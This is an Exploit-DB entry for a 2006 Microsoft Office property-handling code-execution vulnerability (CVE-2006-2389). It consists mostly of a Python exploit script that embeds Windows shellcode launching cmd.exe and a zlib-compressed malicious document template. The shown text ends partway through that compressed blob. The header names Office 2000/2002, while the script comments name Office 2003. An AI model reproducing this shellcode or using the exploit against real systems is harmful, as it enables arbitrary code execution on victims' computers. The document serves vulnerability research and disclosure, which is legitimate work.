Exploit-DB #28198
Description: Microsoft Office 2000/2002 - Property Code Execution
Type: remote
Platform: windows
Date: 2006-07-11
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/18911/info

Microsoft Office is prone to a code-execution vulnerability. This is due to a failure to handle exceptional conditions.

Successfully exploiting this issue allows attackers to corrupt process memory and to execute arbitrary code in the context of targeted users.

#Microsoft Office Property Code Execution exploit (CVE-2006-2389)
#Author Abhishek Lyall - abhilyall[at]gmail[dot]com, info[at]aslitsecurity[dot]com
#Web - http://www.aslitsecurity.com/
#Blog - http://www.aslitsecurity.blogspot.com/
#Vulnerble application MS office 2003
#Tested on XP SP2 - MS Ofice 2003 
#Greets Mila http://contagiodump.blogspot.com, Villy and ASL IT SECURITY TEAM
#!/usr/bin/python




import sys
import zlib

#Allwin WinExec cmd.exe + ExitProcess Shellcode - 195 bytes by RubberDuck =)
shellcode = (
b"\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B"
b"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9"
b"\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C"
b"\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0"
b"\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B"
b"\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72"
b"\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03"
b"\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47"
b"\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F"
b"\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
b"\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66"
b"\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14"
b"\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE"
b"\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53"
b"\xFF\xD2\x68\x63\x6D\x64\x01\xFE\x4C\x24"
b"\x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51"
b"\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\xFE"
b"\x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45"
b"\x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54"
b"\x24\x20\x57\xFF\xD0"
)

compressedfile = (
b"\x78\x9C\xED\xDD\x0D\x9C\x4D\x75\xFE\xC0\xF1\xEF\xBD\x73\x67\xCC\x93\x31\x9E\xC7\x78\x1A\x9A\xC4\x98\x34\x31\x84"
b"\x18\x8F\xA1\xC9\x53\x9E\x09\x0D\xA1\x31\x86\x11\xE3\x61\x65\x6B\x48\x56\xA5\x56\x25\x49\xA2\x07\x49\xDA\x24\x49"
b"\x25\x49\xD6\x5A\x21\xC9\x4A\x65\x7B\x60\x64\xEB\x2F\xB5\x93\x55\x28\xB9\xFF\xCF\xEF\x9C\x73\x67\xEE\xBD\x73\x0F"
b"\x77\x34\x2D\xAD\xDF\xEF\xFB\x7A\xCF\xB9\xBF\x73\xEE\x3D\x4F\xBF\x73\x7E\xE7\xE1\xFE\xEE\x99\xDD\xEF\x97\x3F\xF0"
b"\xD4\xCB\xF1\x07\xC5\x2F\xA5\x49\x88\x9C\x71\x47\x48\x98\x57\x3F\x27\x36\x78\x32\xB1\x22\x1B\xE9\x38\x70\xC6\xED"
b"\x76\xAB\x5E\xEB\xF1\x26\xDC\x3A\xFD\x6E\xD2\xD1\x67\xDF\x91\x6E\x09\xD5\x5C\x22\x05\x15\xDE\x2E\x2C\x59\x12\x7D"
b"\xF6\xEE\x12\x89\x91\xE1\x59\xC3\xB3\xF2\x5B\xE7\xB7\xF6\xDF\x42\x44\xAA\xB9\xAA\x48\xAD\x18\x87\xE4\xF5\x17\x43"
b"\xD6\xC8\xE2\xEF\xF1\x4E\x6E\x77\xB9\x73\xBE\xF6\xA4\x6C\xE3\xEF\x32\x87\x14\x76\xBD\x5F\xDB\x75\x2B\x79\x8D\x61"
b"\xAF\xD3\xEC\x26\xD4\xB5\xEF\x26\xD2\xED\x48\x77\xAF\xD7\xFB\x0F\xB7\x11\x69\xCF\xB8\x12\x2F\x33\xF3\xE7\xEA\xDE"
b"\x97\x18\xB8\xEB\x6A\x63\xEE\x31\x61\x6D\xCC\x7C\x30\x5D\xF5\xD1\x2B\xDA\x31\x6F\x7C\xB0\x73\x07\x91\x99\xE4\x93"
b"\xE8\x3F\xA9\xD8\xFA\x29\x5A\x6E\xCF\xF4\xFC\xD3\x68\xFA\xD7\x3D\xCB\xFC\x25\x59\xD3\x7D\x30\xC5\x77\x7C\x9E\xAE"
b"\x67\xF9\x3C\x49\xE5\xAF\x63\xD8\x52\x3E\x57\xC5\xEB\x73\xFE\x5D\x35\xFE\xCD\x51\xC5\xC7\xE3\x9F\x77\xB5\xF1\x1D"
b"\xBF\xE7\xF3\x25\x4D\xDE\xEB\xDB\x33\x9E\xAF\x9D\x45\xE3\xFB\x43\x13\xE6\x97\xFC\x9C\x96\x6C\xA5\x01\xB6\xA3\xF3"
b"\x4D\x19\xAD\xCC\xAE\x67\x79\xE2\xE8\x46\x1B\xAF\xDE\xE8\xF1\xC2\xAC\x77\x1C\x6A\x7B\xEA\x5A\xBB\x68\x7B\xEB\x96"
b"\x62\x96\x47\x38\x9F\x4B\xF6\x1B\xCF\x32\xDE\xFB\x2A\xF3\xAF\x66\xF9\xB0\xB5\x1C\xA9\xD6\xFB\xDE\xED\x60\xE6\x73"
b"\xAC\xCF\x7B\xF2\x9E\xE9\x7B\x96\xF3\x75\x87\xB9\xBD\xB4\x64\x5C\x8B\xC4\x7B\x39\x57\xAE\x94\x00\x79\xA7\x7C\xC2"
b"\xDF\x84\x73\x46\x59\x22\xDC\xF8\xAB\x72\x3A\xE9\xA4\x93\x4E\x17\x6B\x3A\x77\x7D\xA6\x43\x87\x0E\x1D\x3A\x74\xE8"
b"\xD0\xA1\x43\x87\x0E\x1D\x3A\x74\xE8\xD0\xA1\x43\x87\x0E\x1D\x3A\x74\xE8\xD0\xA1\x43\x87\x0E\x1D\x3A\x74\xE8\xD0"
b"\xA1\x43\x87\x0E\x1D\x3A\x74\xE8\xD0\xA1\x43\x87\x0E\x1D\x3A\x74\xE8\xD0\xA1\x43\x87\x0E\x1D\x3A\x74\xE8\xD0\xA1"
b"\x43\x87\x0E\x1D\x3A\x74\xE8\xD0\xA1\x43\x87\x0E\x1D\x3A\x74\xE8\xD0\xA1\x43\x87\x0E\x1D\x3A\x74\xE8\xD0\xA1\x43"
b"\x87\x0E\x1D\x3A\x74\xE8\xD0\xA1\x43\x87\x8E\x8B\x21\x16\x6F\xBA\xD0\x73\xA0\x43\x87\x0E\x1D\x3A\x74\xE8\xD0\xA1"
b"\x43\x87\x0E\x1D\x3A\x74\xE8\xD0\xA1\x43\x87\x0E\x1D\x3A\x74\xE8\xD0\xA1\x43\x87\x0E\x1D\x3A\x74\xE8\xD0\xA1\x43"
b"\x87\x0E\x1D\x3A\x74\xE8\xD0\xA1\x43\x87\x0E\x1D\x3A\x74\xE8\xD0\xA1\x43\x87\x0E\x1D\x3A\x74\xE8\xD0\xA1\x43\x87"
b"\x0E\x1D\x3A\x74\xE8\xD0\xA1\x43\x87\x0E\x1D\x3A\x74\xE8\xD0\xA1\x43\x87\x0E\x1D\x3A\x74\xE8\xD0\xA1\x43\x87\x0E"
b"\x1D\x3A\x74\xE8\xD0\xA1\x43\x87\x0E\x1D\x3A\x74\xE8\xD0\xA1\x43\x87\x0E\x1D\x3A\x74\xE8\xD0\xF1\xDB\x84\x4E\x25"
b"\x48\x2E\x91\x7A\xA8\x8F\x87\x30\x33\x54\x64\x15\x56\xA3\x6D\x98\xC8\xA7\x65\x44\x0E\x60\x42\xB8\xC8\x64\x54\x88"
b"\x12\x99\x8E\x3C\x54\x88\x16\xA9\x82\xB8\x18\x91\x5A\x38\x5E\x5E\xE4\x47\xF4\xAB\x20\x32\x0D\x6B\xB1\x1D\x3B\x71"
b"\x00\xF1\x15\x45\x9A\xA1\x39\x3A\x62\x68\x15\x91\x0C\x6C\xC1\x56\x48\x55\xC6\x87\x38\x24\x60\x31\x96\xC0\x19\xC7"
b"\x6C\x22\x0D\x7D\xD0\x0F\x43\xB1\x10\x7F\xC1\x11\x48\x35\xDE\x87\x2A\xE8\x89\xE9\x58\x8C\x25\xD8\x87\x8F\xF1\x13"
b"\xCE\x20\xBE\x3A\xCB\x86\x0C\x0C\xC7\x54\x2C\xC7\xE7\x88\xAC\x21\x92\x84\x64\x6C\xAD\x2D\xB2\x0D\xC9\x09\x22\x8D"
b"\xD0\x0B\xB9\x78\x00\xF3\xB0\x16\xEB\x10\x5D\x47\x24\x06\x27\xBE\x3E\x24\x87\xF6\x1F\x92\x0F\x09\xBA\x2A\xDE\xB7"
b"\xBA\xE6\xEB\xF7\x7D\xBA\xDE\x43\xF6\x17\x7B\x9F\x21\xAA\x4B\x92\xA3\x47\x7A\x88\xDC\x88\xF0\xB1\x5D\x22\x5C\x13"
b"\x21\xB1\x9E\x5E\x85\x7D\xC2\x3D\x7D\xA4\x46\x48\x96\x2A\x55\x4F\xBE\x6F\xB8\x63\x6C\x17\x71\x8D\xC3\xA4\x70\x87"
b"\x94\x6B\x1A\x3E\xA3\x43\x7A\xA5\xC2\xC1\xD2\x4B\x95\x7F\xA2\xB5\x0D\x24\x21\x19\xA3\x30\xCF\x6B\x7B\x98\x85\x87"
b"\xB0\x0D\xDB\x91\x16\x66\x6E\x1B\xC3\x23\x45\x46\x44\x9A\xDB\x44\x25\x54\x41\x2A\x9A\xB1\x4D\x34\x47\x3A\xBA\xAA"
b"\xD7\x65\x45\x5A\xE2\x17\xEF\xED\xCE\x27\x73\xF2\xD7\x66\x7E\x2C\xD5\xB1\xF9\x64\xBE\x0D\x2E\xF3\xA5\x6D\xA6\x74"
b"\x67\xC7\x27\xE3\x9